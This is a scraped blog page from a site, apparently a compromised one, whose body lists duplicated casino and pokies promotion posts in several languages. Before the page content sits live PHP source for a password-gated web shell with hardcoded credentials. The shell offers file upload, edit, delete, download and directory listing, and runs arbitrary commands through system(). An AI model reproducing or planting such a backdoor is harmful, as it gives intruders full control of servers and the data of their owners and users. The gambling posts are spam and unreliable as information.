if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Блог – Page 3 – collectives.berlin

Your digital paradise.

Category: Блог

  • Top 5 Online Casino Real Money Sites in the USA for 2026

    As someone who prefers to play in person, I’m not ashamed to say that I’ve visited almost every online casino under the sky in Australia (especially during my peak poker days). I’ve actually written a guide on gambling fallacies because I think understanding them is one of the most important parts of gambling responsibly. One…

    Click or not…

  • Top 5 Online Casino Real Money Sites in the USA for 2026

    As someone who prefers to play in person, I’m not ashamed to say that I’ve visited almost every online casino under the sky in Australia (especially during my peak poker days). I’ve actually written a guide on gambling fallacies because I think understanding them is one of the most important parts of gambling responsibly. One…

    Click or not…

  • Top 5 Online Casino Real Money Sites in the USA for 2026

    As someone who prefers to play in person, I’m not ashamed to say that I’ve visited almost every online casino under the sky in Australia (especially during my peak poker days). I’ve actually written a guide on gambling fallacies because I think understanding them is one of the most important parts of gambling responsibly. One…

    Click or not…

  • Mobilnettleser eller startskjerm: hva passer best?

    For voksne som vil undersøke en kasinoplattform på mobil, handler valget først og fremst om oversikt, sikkerhet og hvor enkelt det er å komme tilbake til siden. 21bit casino oppgir at løsningen er responsiv på iOS- og Android-enheter, og at både mobilnettleser og en installerbar PWA kan brukes. Forskjellen mellom alternativene er likevel praktisk: nettleseren…

    Click or not…

  • Best Online Pokies in Australia 2026: Real Money Tested & Ranked

    Slots Gallery’s library advantage is most evident in their exclusive studio deals. They carry full Thunderkick, Elk Studios, and AvatarUX catalogues — three providers almost never seen on Australian-focused competitor platforms. If you’ve ever played Thunderkick’s Esqueleto Explosivo or AvatarUX’s PopRocks mechanics at a European casino and wanted that experience in Australian dollars, Slots Gallery…

    Click or not…

  • Best Online Pokies in Australia 2026: Real Money Tested & Ranked

    Slots Gallery’s library advantage is most evident in their exclusive studio deals. They carry full Thunderkick, Elk Studios, and AvatarUX catalogues — three providers almost never seen on Australian-focused competitor platforms. If you’ve ever played Thunderkick’s Esqueleto Explosivo or AvatarUX’s PopRocks mechanics at a European casino and wanted that experience in Australian dollars, Slots Gallery…

    Click or not…

  • Як упорядкувати налаштування облікового запису в казино

    Зручний обліковий запис починається не з кількості доступних розваг, а з розуміння власних налаштувань. На Allwin Ua користувачеві варто спершу з’ясувати, де змінюються контактні дані, параметри безпеки, сповіщення та обмеження, а вже потім оцінювати інші можливості. сайт казино allwin можна використовувати як інформаційне джерело для перевірки доступних розділів, але конкретні функції, умови й вимоги слід…

    Click or not…

  • Mobile Browsing for Baccarat Casino Online Canada

    For Canadians comparing a slotrave casino experience on a phone, the most useful question is not whether a site has a mobile label, but how well its browser layout supports everyday decisions. A responsive site should make it easy to locate baccarat, review the lobby, move between casino and sportsbook areas, check account information and…

    Click or not…

  • Mobile Browsing for Baccarat Casino Online Canada

    For Canadians comparing a slotrave casino experience on a phone, the most useful question is not whether a site has a mobile label, but how well its browser layout supports everyday decisions. A responsive site should make it easy to locate baccarat, review the lobby, move between casino and sportsbook areas, check account information and…

    Click or not…

  • Mobile Browsing for Baccarat Casino Online Canada

    For Canadians comparing a slotrave casino experience on a phone, the most useful question is not whether a site has a mobile label, but how well its browser layout supports everyday decisions. A responsive site should make it easy to locate baccarat, review the lobby, move between casino and sportsbook areas, check account information and…

    Click or not…